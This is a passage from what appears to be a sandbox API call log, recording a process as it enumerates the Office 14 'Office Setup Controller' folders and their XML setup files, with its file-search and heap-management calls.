ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255340 [0081.108] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf5db14d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xf5e95d10, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0081.108] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe8728670, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5db14d0, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xe8728670, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5aa, dwReserved0=0x0, dwReserved1=0x0, cFileName="PowerPointMUI.XML", cAlternateFileName="POWERP~1.XML")) returned 1 [0081.108] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0081.108] FindNextFileW (in: hFindFile=0x3255340, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xecdfa490, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xf5e95d10, ftLastAccessTime.dwHighDateTime=0x1d301be, ftLastWriteTime.dwLowDateTime=0xecdfa490, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x75e, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0081.108] FindClose (in: hFindFile=0x3255340 | out: hFindFile=0x3255340) returned 1 [0081.108] GetProcessHeap () returned 0x470000 [0081.108] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0081.108] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PRJPROR", cAlternateFileName="")) returned 1 [0081.108] GetProcessHeap () returned 0x470000 [0081.108] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0081.108] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PRJPROR\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255380 [0082.252] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xbe2e8f80, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xbec48620, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.252] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa60fd8f0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbe2e8f80, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa60fd8f0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x1915, dwReserved0=0x0, dwReserved1=0x0, cFileName="PrjProrWW.XML", cAlternateFileName="PRJPRO~1.XML")) returned 1 [0082.252] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0082.253] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa8c227b0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xbec48620, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa8c227b0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x412b, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0082.253] FindClose (in: hFindFile=0x3255380 | out: hFindFile=0x3255380) returned 1 [0082.253] GetProcessHeap () returned 0x470000 [0082.253] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0082.253] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Project.en-us", cAlternateFileName="PROJEC~1.EN-")) returned 1 [0082.253] GetProcessHeap () returned 0x470000 [0082.253] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0082.253] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Project.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255380 [0082.253] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xaf551ba0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xaf577d00, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.253] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5b2ebe0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf551ba0, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5b2ebe0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x5ac, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProjectMUI.XML", cAlternateFileName="PROJEC~1.XML")) returned 1 [0082.253] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0082.253] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xa5bc88d0, ftCreationTime.dwHighDateTime=0x1d305f1, ftLastAccessTime.dwLowDateTime=0xaf577d00, ftLastAccessTime.dwHighDateTime=0x1d305f1, ftLastWriteTime.dwLowDateTime=0xa5bc88d0, ftLastWriteTime.dwHighDateTime=0x1d305f1, nFileSizeHigh=0x0, nFileSizeLow=0x750, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0082.253] FindClose (in: hFindFile=0x3255380 | out: hFindFile=0x3255380) returned 1 [0082.254] GetProcessHeap () returned 0x470000 [0082.254] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0082.254] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.en", cAlternateFileName="")) returned 1 [0082.254] GetProcessHeap () returned 0x470000 [0082.254] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0082.254] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.en\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255380 [0082.254] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x99177d0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x99177d0, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.254] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0082.254] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf01be3d0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x99177d0, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf01be3d0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x543, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0082.254] FindClose (in: hFindFile=0x3255380 | out: hFindFile=0x3255380) returned 1 [0082.254] GetProcessHeap () returned 0x470000 [0082.254] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0082.254] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.es", cAlternateFileName="")) returned 1 [0082.254] GetProcessHeap () returned 0x470000 [0082.254] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0082.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.es\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255380 [0082.255] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5b7fe90, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x5b7fe90, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf4e37e00, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x5b7fe90, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf4e37e00, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b1, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0082.255] FindClose (in: hFindFile=0x3255380 | out: hFindFile=0x3255380) returned 1 [0082.255] GetProcessHeap () returned 0x470000 [0082.255] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.fr", cAlternateFileName="")) returned 1 [0082.255] GetProcessHeap () returned 0x470000 [0082.255] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0082.255] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proof.fr\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255380 [0082.255] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x7941190, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x7941190, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 1 [0082.255] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf2bd90c0, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0x7941190, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf2bd90c0, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x5b2, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proof.XML", cAlternateFileName="")) returned 0 [0082.256] FindClose (in: hFindFile=0x3255380 | out: hFindFile=0x3255380) returned 1 [0082.256] GetProcessHeap () returned 0x470000 [0082.256] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.en-us", cAlternateFileName="PROOFI~1.EN-")) returned 1 [0082.256] GetProcessHeap () returned 0x470000 [0082.256] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0082.256] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\Proofing.en-us\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255380 [0082.256] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xab640f0, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xab8a250, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf00db300, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf00db300, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x32b, dwReserved0=0x0, dwReserved1=0x0, cFileName="Proofing.XML", cAlternateFileName="")) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 1 [0082.256] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf58c6830, ftCreationTime.dwHighDateTime=0x1d301be, ftLastAccessTime.dwLowDateTime=0xab8a250, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0xf58c6830, ftLastWriteTime.dwHighDateTime=0x1d301be, nFileSizeHigh=0x0, nFileSizeLow=0x16fc, dwReserved0=0x0, dwReserved1=0x0, cFileName="SETUP.XML", cAlternateFileName="")) returned 0 [0082.256] FindClose (in: hFindFile=0x3255380 | out: hFindFile=0x3255380) returned 1 [0082.257] GetProcessHeap () returned 0x470000 [0082.257] HeapFree (in: hHeap=0x470000, dwFlags=0x0, lpMem=0x328a0e0 | out: hHeap=0x470000) returned 1 [0082.257] FindNextFileW (in: hFindFile=0x3255280, lpFindFileData=0x2d2e900 | out: lpFindFileData=0x2d2e900*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="PROPLUSR", cAlternateFileName="")) returned 1 [0082.257] GetProcessHeap () returned 0x470000 [0082.257] RtlAllocateHeap (HeapHandle=0x470000, Flags=0x0, Size=0x10000) returned 0x328a0e0 [0082.257] FindFirstFileW (in: lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\OFFICE14\\Office Setup Controller\\PROPLUSR\\*", lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3255380 [0082.547] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x5a95a430, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x6cd64f50, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0082.547] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x170fe40, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x6cd64f50, ftLastAccessTime.dwHighDateTime=0x1d301bf, ftLastWriteTime.dwLowDateTime=0x170fe40, ftLastWriteTime.dwHighDateTime=0x1d301bf, nFileSizeHigh=0x0, nFileSizeLow=0x41d4, dwReserved0=0x0, dwReserved1=0x0, cFileName="ProPlusrWW.XML", cAlternateFileName="PROPLU~1.XML")) returned 1 [0082.547] FindNextFileW (in: hFindFile=0x3255380, lpFindFileData=0x2d2e678 | out: lpFindFileData=0x2d2e678*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x18177c50, ftCreationTime.dwHighDateTime=0x1d301bf, ftLastAccessTime.dwLowDateTime=0x5a95a430, 